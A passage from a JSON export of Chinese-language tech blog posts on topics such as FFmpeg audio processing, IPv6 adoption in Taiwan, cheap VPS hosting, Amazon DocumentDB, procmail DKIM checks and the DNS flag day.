    "body": "先提供指令 (需要新版 <a href=\"https://ffmpeg.org\">FFmpeg</a>)，把單聲道的 <code>1.wav</code> 加工成 <code>2.wav</code> (兩聲道)：\r\n\r\n<pre>ffmpeg -i 1.wav -filter_complex '[0:0]stereotools=delay=20[aout]' -map '[aout]' -y 2.wav</pre>\r\n\r\n這是看了『<a href=\"https://www.youtube.com/watch?v=2RWuR_By2yQ\">如何讓聲音有「立體感」？</a>』後的實驗：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/2RWuR_By2yQ\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n裡面提到要怎麼讓單聲道錄音產生空間感，其中一個方式是將單聲道的 audio stream 複製到兩邊，但讓左右聲道差 0.02 秒 (也就是 20ms)，讓兩邊聲音有些微差距而產生空間感。\r\n\r\n查了資料後發現這個功能可以靠 FFmpeg 裡 <code>stereotools</code> 的 <code>delay</code> 達成：\r\n\r\n<blockquote><dl><dt>delay</dt>\r\n<dd>Set delay in milliseconds how much to delay left from right channel and vice versa. Default is 0. Allowed range is from -20 to 20.</dd></dl></blockquote>\r\n\r\n但 Ubuntu 16.04 內的 FFmpeg 版本不夠新 (2.8.15)，測試時說沒有 <code>stereotools</code> 這個 filter，所以找了「<a href=\"https://launchpad.net/~jonathonf/+archive/ubuntu/ffmpeg-4\">FFMPEG 4 : Jonathon F</a>」這個 PPA，改用 4.x 版的 FFmpeg 就可以用了。\r\n\r\n算是找個機會玩看看... 另外也熟悉一下 FFmpeg 的 <code>-filter_complex</code> 到底是什麼語法。",
    "title": "用 FFmpeg 處理單聲道聲音產生空間感"
  },
  {
    "id": "8657",
    "body": "看到 <a href=\"https://twitter.com/zmx\">zmx</a> 提到：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">台灣大跟遠傳 IPv6 過半了 <a href=\"https://t.co/CM0FFdElcj\">https://t.co/CM0FFdElcj</a></p>&mdash; zmx (@zmx) <a href=\"https://twitter.com/zmx/status/1081047694859165696?ref_src=twsrc%5Etfw\">January 4, 2019</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n所以 <a href=\"https://www.twnic.net.tw/\">TWNIC</a> 有弄了「<a href=\"https://ipv6now.twnic.net.tw/ipv6/info.html\">Taiwan IPv6</a>」這個網站頁面出來... 所以就 IPv6 使用率來說，中華不管是在固網還是在行動都是最早投入轉移，使用率也是最高的。\r\n\r\n其他家行動的部份可以看出來都有在做，只是比率差異而已，但固網的部份扣掉中華後根本是 0%，雖然說其他固網的量偏小...",
    "title": "台灣各 ISP 的 IPv6 使用情況"
  },
  {
    "id": "8660",
    "body": "<a href=\"https://syncthing.net\">Syncthing</a> 是一個檔案分享軟體，如果要說類型的話，可以看作是 <a href=\"https://www.dropbox.com/\">Dropbox</a> 的 open source 版本，找台便宜的 VPS 主機就可以架起來丟著 (挑個空間夠大的 <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">OpenVZ</a> instance)。\r\n\r\n官方在前幾天宣佈推出 1.0.0 了：「<a href=\"https://forum.syncthing.net/t/syncthing-graduation-day/12617\">Syncthing graduation day</a>」。會推出主要的原因是現在的版本其實夠穩定，就不要因為 0.x 版而造成使用者誤解了 (這邊應該是在講因為 <a href=\"https://semver.org/\">Semantic Versioning</a> 的流行，0.x 版會給人不穩定的印象)：\r\n\r\n<blockquote>As much as a version number means anything at all, a “major zero” version number means that you can expect breakage. This is not what we want to communicate. Especially, it’s not the mindset that we should have towards our users. Hence Syncthing is now graduating from being in perpetual beta to being actual release software, yet the journey of development continues.</blockquote>\r\n\r\n來把手上的機器都升級上去...",
    "title": "Syncthing 發行 1.0.0 版"
  },
  {
    "id": "8661",
    "body": "之前應該都是用 <a href=\"https://sqlite.org/\">SQLite</a> 提供的 cli 操作，現在有人提供支援 auto completion 與顏色的 cli 軟體了：「<a href=\"https://github.com/dbcli/litecli\">CLI for SQLite Databases with auto-completion and syntax highlighting</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/M14ojwl.gif\" alt=\"\" />\r\n\r\n工具是用 <a href=\"https://www.python.org/\">Python</a> 寫的，可以直接用 <a href=\"https://pypi.org/project/pip/\">pip</a> 安裝。",
    "title": "SQLite 的 CLI 操作工具 litecli"
  },
  {
    "id": "8662",
    "body": "公司裡面有人提到去年的這個消息，說 <a href=\"https://gsuite.google.com/\">G Suite</a> 可以直接提供 LDAPS 認證：「<a href=\"https://gsuiteupdates.googleblog.com/2018/11/secure-ldap-now-available-simplify-login.html\">Secure LDAP now generally available to simplify the management of traditional applications</a>」，在裡面提到了另外一篇講的比較詳細的文章也可以參考：「<a href=\"https://cloud.google.com/blog/products/identity-security/cloud-identity-now-provides-access-to-traditional-apps-with-secure-ldap\">Cloud Identity now provides access to traditional apps with secure LDAP</a>」。\r\n\r\n這個功能等於是把傳統的應用程式直接掛上去，瞬間搞定一堆應用，不用再自己透過 <a href=\"https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language\">SAML</a> 或是各種 API 接半天...\r\n\r\n不過看了一下提供服務的對象，發現 G Suite 的 Business 版本不支援，只有 Enterprise 與教育版本有支援，或是買 <a href=\"https://cloud.google.com/identity/\">Cloud Identity</a> 的 Premium 版本：\r\n\r\n<blockquote>Editions: \r\nAvailable to G Suite Enterprise, G Suite Enterprise for Education, G Suite for Education, and Cloud Identity Premium editions only</blockquote>\r\n\r\n這樣就苦了點... 目前遇到的人大多數都是買 Business 而非 Enterprise。",
    "title": "G Suite 推出 LDAPS 認證，但是 Business 版本不支援..."
  },
  {
    "id": "8663",
    "body": "因為手上 side project 很多，有時候想要長期測一些東西，就需要租用性價比比較好的 VPS。\r\n\r\n其中 VPS 的基準點應該是以 <a href=\"https://www.linode.com/\">Linode</a>、<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 以及 <a href=\"https://www.vultr.com/\">Vultr</a> 這幾家為主，而目前這幾家的基準點都是 RAM 的部份，目前是 1GB RAM VPS 約 $5/month。\r\n\r\n如果你不想花太多時間在研究，選這幾家應該沒什麼問題，Linode 與 Vultr 都算是很不錯的方案。另外雖然 DigitalOcean 的 CPU 比較差，但可以看出他在非 IaaS 的服務上花了不少力氣，想要朝類似 <a href=\"https://aws.amazon.com/\">AWS</a> 的方向在走，如果你想要用到他們的服務，但又不想要用純正的 cloud service 的話 (通常是價位考量)，可以考慮看看他們家的服務。\r\n\r\n另外一方面，因為我自己喜歡設定底層系統，所以會朝「便宜」的方向找 VPS (能設定的東西比起 Web Hosting 多很多)，然後因為機器數量愈來愈多，所以在我自己的 wiki 上整理了「<a href=\"https://wiki.gslin.org/wiki/Hosting\">Hosting</a>」這個條目，之後就有些朋友看到價錢就會問怎麼找的... (像是 1.5GB RAM + 20GB Disk 一年只要 USD$14 這種價錢)\r\n\r\n我主要是透過 <a href=\"https://lowendbox.com\">Low End Box - Cheap VPS Hosting Providers Listing &amp; Reviews</a> 這邊找的，這邊常常會有各家 VPS 提供促銷，這時候可以朝幾個方向看：\r\n\r\n<ul>\r\n\t<li>公司成立時間：透過 whois 資料可以看到一些，另外文章上面通常會直接對 vps 下 tag，可以看看之前是不是有跟 Low End Box 合作過。</li>\r\n\t<li>以往的評價：透過 tag 找到之前的促銷，然後看看 comment 的評價。先記住這種便宜的 VPS 不會有完美的狀態，如果負評可以接受的話就可以考慮。</li>\r\n</ul>\r\n\r\n另外要注意的是，這類 VPS 我通常都是先假設「資料掉了不會痛」的想法在用，然後主要是以 <a href=\"https://www.paypal.com/\">PayPal</a> 為付款方式，避免主機商跑路後沒辦法拿到退款 (yeah 我遇過 XD)。\r\n\r\n這類 VPS 主機有兩種形式：\r\n\r\n<ul>\r\n\t<li>最常見的是 <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">OpenVZ</a> 類的，通常這類會很便宜，但限制是 RAM 與 Swap 的數量一開始就決定了，也就是你沒有辦法透過 file swap 增加可以用的記憶體。另外因為是 OpenVZ 的關係，上面不能跑 <a href=\"https://www.docker.com/\">Docker</a> 之類的 container。</li>\r\n\t<li>另外一種是虛擬機類的，通常會比 OpenVZ 類貴一些，像是 <a href=\"https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine\">KVM</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Xen\">Xen</a>，這類因為技術上是全虛擬化，通常都可以跑 Docker 這類 container 技術。</li>\r\n</ul>\r\n\r\n接下來就是踩地雷了... XD",
    "title": "便宜 VPS 主機的找法..."
  },
  {
    "id": "8664",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://en.wikipedia.org/wiki/ReCAPTCHA\">reCAPTCHA</a> 大概是目前最常用的反制機器人工具了，但因為 accessibility 的原因 (而且應該是有法令要求)，還是需要提供盲人可以存取的方式，也就是以語音判斷是否是機器人。\r\n\r\n<a href=\"https://github.com/ecthros/uncaptcha2\">unCaptcha2</a> 就是用這塊，加上 Google 自家的語音辨識 API (也支援其他家 API) 可以直接打穿：\r\n\r\n<img src=\"https://i.gslin.com/imgur/L7vEIHe.gif\" alt=\"\" />\r\n\r\n現有的程式碼已經先被 Google 反制，但目的是展示出這樣的概念。",
    "title": "reCAPTCHA 與語音辨識：以子之矛，攻子之盾"
  },
  {
    "id": "8665",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的免費版本宣佈開放 Private Repository：「<a href=\"https://blog.github.com/2019-01-07-new-year-new-github/\">New year, new GitHub: Announcing unlimited free private repos and unified Enterprise offering</a>」。\r\n\r\n有些限制 (最多三個參與者)，但對不少人應該是夠用了：\r\n\r\n<blockquote><strong>GitHub Free</strong> now includes unlimited private repositories. For the first time, developers can use GitHub for their private projects with up to three collaborators per repository for free. Many developers want to use private repos to apply for a job, work on a side project, or try something out in private before releasing it publicly. Starting today, those scenarios, and many more, are possible on GitHub at no cost. Public repositories are still free (of course—no changes there) and include unlimited collaborators.</blockquote>\r\n\r\n不過 <a href=\"https://gitea.io/\">Gitea</a> 也用習慣了，先放著吧...",
    "title": "GitHub Free 開放 Private Repository"
  },
  {
    "id": "8666",
    "body": "算是補充之前看過，但一直沒研究的東西...\r\n\r\n看到 <a href=\"https://simonwillison.net/\">Simon Willison</a> 的「<a href=\"https://simonwillison.net/2019/Jan/7/exploring-search-relevance-algorithms-sqlite/\">Exploring search relevance algorithms with SQLite</a>」這篇才花些時間看了一下 <a href=\"https://sqlite.org\">SQLite</a> 的搜尋功能。\r\n\r\n看起來不論是 <a href=\"https://www.sqlite.org/fts3.html\">FTS4</a> 或是 <a href=\"https://sqlite.org/fts5.html\">FTS5</a> 都沒有處理 CJK 文字的功能，可能要當作 unigram 之類的方式處理 (參考「<a href=\"https://stackoverflow.com/questions/29669342/unicode-support-for-non-english-characters-with-sqlite-full-text-search-in-andro\">Unicode support for non-English characters with Sqlite Full Text Search in Android</a>」這篇)，不過排名的部份有支援 <a href=\"https://en.wikipedia.org/wiki/Okapi_BM25\">BM25</a>，整體看起來應該是還算堪用。",
    "title": "SQLite 的全文搜尋功能"
  },
  {
    "id": "8669",
    "body": "<a href=\"https://www.yubico.com/\">Yubico</a> 在 <a href=\"https://www.ces.tech\">CES</a> 2019 上宣佈推出兩用版的 <a href=\"https://en.wikipedia.org/wiki/YubiKey\">YubiKey</a>，同時支援 <a href=\"https://en.wikipedia.org/wiki/USB-C\">USB-C</a> 與 <a href=\"https://en.wikipedia.org/wiki/Lightning_(connector)\">Lightning</a> 接頭：「<a href=\"https://www.yubico.com/2019/01/yubico-launches-the-security-key-nfc-and-a-private-preview-of-the-yubikey-for-lightning-at-ces-2019/\">Yubico Launches the Security Key NFC and a Private Preview of the YubiKey for Lightning at CES 2019</a>」。\r\n\r\n從照片可以看出來是直接做成兩側各一個頭：\r\n\r\n<img src=\"https://i.gslin.com/imgur/orhGM2E.jpg\" alt=\"\" />\r\n\r\n目前是 Private Preview，開發者需要跟 Yubico 申請：\r\n\r\n<blockquote>If you are a developer or service that would like to support strong hardware authentication on iOS, we invite you to work with us by applying to participate in the YubiKey for Lightning Program. Selected participants will have access to the private preview of YubiKey for Lightning and also the Yubico Mobile iOS SDK for Lightning.</blockquote>\r\n\r\n不過看起來是硬體限制沒辦法朝 NFC 支援？另外如果蘋果下一代 iPhone 換掉變成 USB-C 就搞笑了...",
    "title": "Yubico 宣佈推出 Lightning 的 U2F 界面..."
  },
  {
    "id": "8670",
    "body": "<a href=\"https://aws.amazon.com/fargate/\">AWS Fargate</a> 大幅降價：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/01/announcing-aws-fargate-price-reduction-by-up-to-50-/\">Announcing AWS Fargate Price Reduction By Up To 50%</a>」、「<a href=\"https://aws.amazon.com/blogs/compute/aws-fargate-price-reduction-up-to-50/\">AWS Fargate Price Reduction – Up to 50%</a>」。\r\n\r\n先前 Fargate 的定價超級高，基本上是不會有正常應用會丟上去的情境... 如果可以接受 Fargate 的價錢，平常就用 <a href=\"https://aws.amazon.com/ecs/\">ECS</a> 或是 <a href=\"https://aws.amazon.com/eks/\">EKS</a> 開三到五倍的機器在旁邊待機就好了，container scale 的速度還比 Fargate 快。\r\n\r\n這次降價幅度很大，vCPU 降 20% 其實不算小，但相較於 Memory 降的 65% 就感覺好像沒降很多 (...)：\r\n\r\n<blockquote>Effective Jan 07, 2019, we are reducing the price for AWS Fargate by 20% for vCPU and 65% for memory across all regions where Fargate is currently available.</blockquote>\r\n\r\n拿 <code>us-east-1</code> 上 <code>m5.24xlarge</code> 的價錢來看是 USD$4.608/hr。以他的 96 vCPU + 384 GiB RAM 對應到 Fargate 來算是 USD$5.59296/hr，大約多 21% 的價錢。\r\n\r\n這樣的產品價位看起來才有對應的空間...",
    "title": "AWS 宣佈 Fargate 大幅降價"
  },
  {
    "id": "8671",
    "body": "<a href=\"https://github.com/FiloSottile/mkcert\">mkcert</a> 這個工具可以產生出讓系統 (包括瀏覽器) 信任的 <a href=\"https://localhost/\">https://localhost/</a>：「<a href=\"https://blog.filippo.io/mkcert-valid-https-certificates-for-localhost/\">mkcert: valid HTTPS certificates for localhost</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/j90i9I2.webp\" /><img src=\"https://i.gslin.com/imgur/j90i9I2.jpg\" alt=\"\" /></picture>\r\n\r\n先建立 CA 的 root key 與 root certificate，然後把 root certificate 塞到系統與各軟體的信任清單內，再產生 localhost 的 key 與 certificate 出來給前面的 CA root key 簽名。把這些事情包裝起來就是 mkcert 了。\r\n\r\n拿來開發軟體時比較方便一點，HSTS 的程式碼就可以全環境共用了...",
    "title": "幫你在本機產生 localhost 的 SSL Certificate"
  },
  {
    "id": "8672",
    "body": "這年頭自己維護 mail account 的情況比較少了，所以資料不太好找，測出來寫下來讓其他人也可以用...\r\n\r\n這邊說的是透過 <a href=\"https://en.wikipedia.org/wiki/Procmail\">procmail</a> 判斷信件是否符合 DKIM Signature，然後加上 header。\r\n\r\n如果是 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 環境，首先在要裝上 python-dkim (不是 python3-dkim)：\r\n\r\n<pre>sudo apt install -y python-dkim</pre>\r\n\r\n我們需要裡面的 <code>dkimverify</code> 程式透過 stdin 讀信件進去，然後透過 exit code 告知有沒有成功。\r\n\r\n對應的 <code>.procmailrc</code> 是這樣：\r\n\r\n<pre># DKIM\r\n:0\r\n* ^DKIM-Signature:\r\n{\r\n    :0BHWf\r\n    * ? /usr/bin/dkimverify\r\n    | /usr/bin/formail -A \"X-Procmail-DKIMVerify: pass\"\r\n    :0Ef\r\n    | /usr/bin/formail -A \"X-Procmail-DKIMVerify: bad\"\r\n}</pre>\r\n\r\n裡面大多數的設定說明可以參考 procmailrc 的 manpage，這邊只就 magic keyword 說明一下。\r\n\r\n<code>BH</code> 是 body 與 header 都要判斷，而 <code>f</code> 是把程式當作 filter，把信件從 stdin 丟進去，然後將 stdout 輸出的結果往下繼續處理，<code>W</code> 是看程式執行執行結果 (看 exit code) 決定要不要跑設定的指令。\r\n\r\n<code>E</code> 表示上面的那格沒有跑到的話就跑自己這格，類似於 if-then-else 裡面的 else。\r\n\r\n我發現這個需求在我的 issue tracking system 內是 2016 年 10 月開的，總算解掉他了...",
    "title": "用 procmail 判斷信件是否有過 DKIM Signature"
  },
  {
    "id": "8673",
    "body": "<a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a> (也就是 <code>8.8.8.8</code> 與 <code>8.8.4.4</code>) 也提供 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 了：「<a href=\"https://security.googleblog.com/2019/01/google-public-dns-now-supports-dns-over.html\">Google Public DNS now supports DNS-over-TLS</a>」。\r\n\r\nDNS over TLS 可以保護使用者端到 DNS Resolver 端的傳輸過程，包括了安全性與隱私都有幫助 (降低 ISP 從中可以做的事情)。\r\n\r\n不過應該還是會繼續用 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 提供的 <code>1.1.1.1</code>，latency 低一些 (也快一些) 而且降低 <a href=\"https://www.google.com/\">Google</a> 可以取得的資料。",
    "title": "Google Public DNS 也提供 DNS over TLS 服務"
  },
  {
    "id": "8675",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 服務，相容於 <a href=\"https://www.mongodb.com\">MongoDB</a> <del>3.4</del> 3.6 的界面：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-documentdb-with-mongodb-compatibility-fast-scalable-and-highly-available/\">New – Amazon DocumentDB (with MongoDB Compatibility): Fast, Scalable, and Highly Available</a>」。\r\n\r\n這個新聞其實引起不少關注，不單純是 AWS 支援了 MongoDB service，而是 AWS 對去年一系列 license issue 的態度。\r\n\r\n先講 license 的事情，後面再提技術上的差異。\r\n\r\n背景是 MongoDB 在去年十月的時候決定換 license，決定從 <a href=\"https://en.wikipedia.org/wiki/GNU_Affero_General_Public_License\">GNU AGPL</a> 換成他們自己定義的 <a href=\"https://www.mongodb.com/licensing/server-side-public-license\">SSPL</a>：「<a href=\"https://www.mongodb.com/blog/post/mongodb-now-released-under-the-server-side-public-license\">MongoDB now released under the Server Side Public License</a>」。\r\n\r\n相關的報導可以參考 <a href=\"https://techcrunch.com/\">TechCrunch</a> 當時寫的「<a href=\"https://techcrunch.com/2018/10/16/mongodb-switches-up-its-open-source-license/\">MongoDB switches up its open-source license</a>」，主要的重點在於：\r\n\r\n<blockquote>[T]he SSPL explicitly states that anybody who wants to offer MongoDB as a service — or really any other software that uses this license — needs to either get a commercial license or open source the service to give back the community.</blockquote>\r\n\r\n而 AWS 在三個月後的回應也意外的清楚，他直接照著 MongoDB 3.6 版的 API 刻一個出來，不需要用你的軟體提供服務 (所以就不用照你的 license 走)：\r\n\r\n<blockquote>Amazon DocumentDB implements the Apache 2.0 open source MongoDB 3.6 API by emulating the responses that a MongoDB client expects from a MongoDB server, allowing you to use your existing MongoDB drivers and tools with Amazon DocumentDB.</blockquote>\r\n\r\nTechCrunch 下的標題也頗直接，認為 AWS 對這套搞法不怎麼認同：「<a href=\"https://techcrunch.com/2019/01/09/aws-gives-open-source-the-middle-finger/\">AWS gives open source the middle finger</a>」。\r\n\r\n回到技術上的層面來看，可以看到 Amazon DocumentDB 提供的技術資料看起來跟 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 很像，都是六份三區：\r\n\r\n<blockquote>Amazon DocumentDB uses a purpose-built SSD-based storage layer, with 6x replication across 3 separate Availability Zones.</blockquote>\r\n\r\n連 read replica 的限制也都是 15 份，可以「猜測」後面應該是用同一套技術在運作...：\r\n\r\n<blockquote>In Amazon DocumentDB, the storage and compute are decoupled, allowing each to scale independently, and developers can increase the read capacity to millions of requests per second by adding up to 15 low latency read replicas in minutes, regardless of the size of your data.</blockquote>\r\n\r\n看了一下價錢，最小台是 <code>db.r4.large</code>，需要 USD$0.277/hr，相當於一個月要 USD$200 左右，而且 storage 與 i/o 要另外計算，門檻不算低。\r\n\r\n目前主要還是歐美區先上：\r\n\r\n<blockquote>Amazon DocumentDB (with MongoDB compatibility) is available now and you can start using it today in the US East (N. Virginia), US East (Ohio), US West (Oregon), and Europe (Ireland) Regions.</blockquote>\r\n\r\n隔壁棚的 <a href=\"https://redis.io\">Redis</a> 不知道有什麼感想...",
    "title": "AWS 推出 MongoDB 服務：Amazon DocumentDB"
  },
  {
    "id": "8677",
    "body": "<a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 宣佈採用 <a href=\"https://en.wikipedia.org/wiki/Apple_Maps\">Apple Maps</a> 當作搜尋頁提供地圖資訊的資料來源：「<a href=\"https://spreadprivacy.com/duckduckgo-apple-mapkit-js/\">DuckDuckGo Taps Apple Maps to Power Private Search Results</a>」。\r\n\r\nDuckDuckGo 官方的說法看起來應該是 proxy 之類的方式實做，從瀏覽器的連線上看起來是透過 <code>proxy*.duckduckgo.com</code> 傳輸：\r\n\r\n<blockquote>We do not send any personally identifiable information such as IP address to Apple or other third parties.</blockquote>\r\n\r\n畢竟地圖是砸錢做出來的東西，Apple Maps 的資料應該沒有 <a href=\"https://en.wikipedia.org/wiki/Google_Maps\">Google Maps</a> 豐富，但就搜尋頁上翻起來應該算是夠用？(尤其對歐美區域)\r\n\r\n另外「<a href=\"https://www.osnews.com/story/129186/duckduckgo-switches-to-apple-maps-for-search-results/\">DuckDuckGo switches to Apple Maps for search results</a>」這邊則是給了反對意見，提到 Apple Maps 的品質一直都不怎樣...",
    "title": "DuckDuckGo 開始改用 Apple Maps"
  },
  {
    "id": "8678",
    "body": "<a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 的出現讓人驚訝的倒不是 <a href=\"https://aws.amazon.com/\">AWS</a> 推出這塊服務，而是 AWS 對於這類對 PaaS 有攻擊性的 license model 的反擊姿態。這也導致了在 AWS 推出後 <a href=\"https://www.mongodb.com\">MongoDB</a> 的股價掉了 13%。\r\n\r\n另外一方面，大家也都想要知道 AWS 怎麼堆底層的系統，畢竟要從頭開發一個所需要的功夫應該不小... (雖然 AWS 應該有這個能力)\r\n\r\n從「<a href=\"https://www.enterprisedb.com/blog/documentdb-really-postgresql\">Is DocumentDB really PostgreSQL?</a>」這邊看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=18870397\">My bet is that it is built on top of Aurora PostgreSQL.</a>」這篇討論，透過目前 DocumentDB 的限制，大家在猜 <a href=\"https://aws.amazon.com/documentdb/\">Amazon DocumentDB</a> 是不是拿 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 改出來的...\r\n\r\n目前看起來 Identifiers 的 63 chars 限制，單一 collection 的 32TB 限制 (對應到表格)，以及 UTF-8 null character 限制，都跟 PostgreSQL 一樣。\r\n\r\n也許過一陣子 AWS 的人會找個地方透漏，不過目前看起來只能猜...",
    "title": "大家在猜 Amazon DocumentDB 的底層是不是 PostgreSQL..."
  },
  {
    "id": "8680",
    "body": "看到有人想要找個 secondary DNS service，列出了不少商家：「<a href=\"https://www.ctrl.blog/entry/secondary-dns-comparison\">Comparing secondary authoritative DNS service providers</a>」。\r\n\r\n這種通常是已經有習慣的管理模式 (像是用 <a href=\"https://git-scm.com\">Git</a> 管 zone file 已經習慣了)，不方便或是不想要轉移到雲服務上面 (像是「\r\n<a href=\"https://blog.gslin.org/archives/2017/04/27/7269/stackoverflow-對於多-dns-商的同步方式/\">StackOverflow 對於多 DNS 商的同步方式...</a>」或是「\r\n<a href=\"https://blog.gslin.org/archives/2017/04/30/7282/github-也自己搞了一套管理多家-dns-的程式/\">GitHub 也自己搞了一套管理多家 DNS 的程式...</a>」這樣的方式)，所以想要找 secondary DNS service 提供服務。\r\n\r\n雖然作者主要是針對 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 相關的情境在評估，但也因此列了不少 provider 在上面，之後有需要用到的時候可以研究看看...",
    "title": "Secondary DNS Service"
  },
  {
    "id": "8681",
    "body": "看到「<a href=\"https://blog.haschek.at/2018/the-curious-case-of-the-RasPi-in-our-network.html\">The curious case of the Raspberry Pi in the network closet</a>」這篇有趣的過程，先從開頭與最後面開始看。首先是他們在辦公室裡面發現有個奇怪的設備：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gBePieP.webp\" /><img src=\"https://i.gslin.com/imgur/gBePieP.jpg\" alt=\"\" /></picture>\r\n\r\n追查後發現不是公司的人放的，最後發現是前員工放的，後來轉給法務部門處理了：\r\n\r\n<blockquote>I checked the DNS logs and found the exact date and time when the Pi was first seen in the network. I checked the RADIUS logs to see which employee was at the premises at that time and I saw multiple error messages that a deactivated account tried to connect to wifi.\r\n\r\nThat deactivated account belongs to an ex employee who (for some reason) made a deal with management that he could still have a key for a few months until he moved all his stuff out of the building (don't ask..).</blockquote>\r\n\r\n中間的過程還蠻有趣的，包括研究是什麼擴充卡 (以及用途)，然後從 SD card 上面挖資料，配合 <a href=\"https://www.google.com/\">Google</a> 找線索，還有透過 <a href=\"https://www.wigle.net\">WiGLE</a> 定位，以及透過內部系統交叉比對，最後找到兇手...\r\n\r\n然後發現是離職員工以搬東西當作理由，讓他在離職後還有辦公室鑰匙而導致的 XDDD",
    "title": "前員工監控公司網路的抓包過程..."
  },
  {
    "id": "8682",
    "body": "實做 <a href=\"https://en.wikipedia.org/wiki/MyRocks\">MyRocks</a> 的 <a href=\"https://smalldatum.blogspot.com\">Mark Callaghan</a> 花五分鐘在 <a href=\"http://cidrdb.org/cidr2019/\">CIDR 2019</a> 上介紹 <a href=\"https://en.wikipedia.org/wiki/Log-structured_merge-tree\">LSM tree</a>：「<a href=\"https://smalldatum.blogspot.com/2019/01/geek-code-for-lsm-trees.html\">Geek code for LSM trees</a>」。翻了一下發現 CIDR 是兩年辦一次，跟之前遇過的 conference 不太一樣...\r\n\r\n投影片在「<a href=\"https://docs.google.com/presentation/d/e/2PACX-1vQ9AStYSOmJzrcmXA-nkQk0kwoJPpgZAAHcxfrL0TApxbBLVdu0Cszit-EQ11yY1Kpbri5vhJFAssLh/pub\">Diversity of LSM tree shapes</a>」這邊可以看到，在五分鐘內講完的前提下規劃出的重點...",
    "title": "Mark Callaghan 花五分鐘介紹 LSM trees"
  },
  {
    "id": "8685",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 把備份拉出來成為一個服務，<a href=\"https://aws.amazon.com/backup/\">AWS Backup</a>：「<a href=\"https://aws.amazon.com/blogs/aws/aws-backup-automate-and-centrally-manage-your-backups/\">AWS Backup – Automate and Centrally Manage Your Backups</a>」。\r\n\r\n常見的 AWS 的服務 (有資料的) 都可以放進去，包括雲端裡的 <a href=\"https://aws.amazon.com/efs/\">EFS</a>、<a href=\"https://aws.amazon.com/rds/\">RDS</a>、<a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a>、<a href=\"https://aws.amazon.com/ebs/\">EBS</a>，以及本地端的 <a href=\"https://aws.amazon.com/storagegateway/\">Storage Gateway</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YLPSqOY.webp\" /><img src=\"https://i.gslin.com/imgur/YLPSqOY.jpg\" alt=\"\" /></picture>\r\n\r\n在頁面上沒看到價錢，但登入 console 後可以看到說明，只有使用的 storage 費用：\r\n\r\n<blockquote>With AWS Backup, you pay only for the amount of backup storage you use and the amount of backup data you restore in the month. There is no minimum fee and there are no set-up charges.</blockquote>",
    "title": "AWS 的備份服務 AWS Backup"
  },
  {
    "id": "8686",
    "body": "在「<a href=\"https://dnsflagday.net\">DNS flag day</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/Extension_mechanisms_for_DNS\">EDNS</a> 的 workaround。\r\n\r\n目前的 workaround 是在 DNS server 對於 EDNS 查詢沒有回應時，就改用不帶 EDNS 的查詢再問一次，以確保相容於不支援 EDNS 而且會直接過濾掉這些封包的環境。\r\n\r\n而從今年二月開始，這個 workaround 將會被拿掉，當帶 EDNS 的查詢沒有回應時就直接當作伺服器死掉，不會再用沒有 EDNS 的查詢問一次：\r\n\r\n<blockquote>The main change is that DNS software from vendors named above will interpret timeouts as sign of a network or server problem. Starting February 1st, 2019 there will be <strong>no attempt to disable EDNS</strong> as reaction to a DNS query timeout.\r\n\r\nThis effectivelly means that all DNS servers which <strong>do not respond at all to EDNS queries</strong> are going to be treated as dead.</blockquote>\r\n\r\n往下可以看到會做出改變的廠商包括了 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>，可以預期 <code>8.8.8.8</code> (<code>8.8.4.4</code>) 與 <code>1.1.1.1</code>(<code>1.0.0.1</code>) 都會進行更新。\r\n\r\n網站上面有可以查詢的工具，剛剛查了一下以前的公司與競爭對手，發現 <code>1111.com.tw</code> 看起來會掛掉，不知道二月前會不會修正這個問題... XD",
    "title": "從二月開始不回應 EDNS 的 DNS server 將會無法查詢"
  },
  {
    "id": "8687",
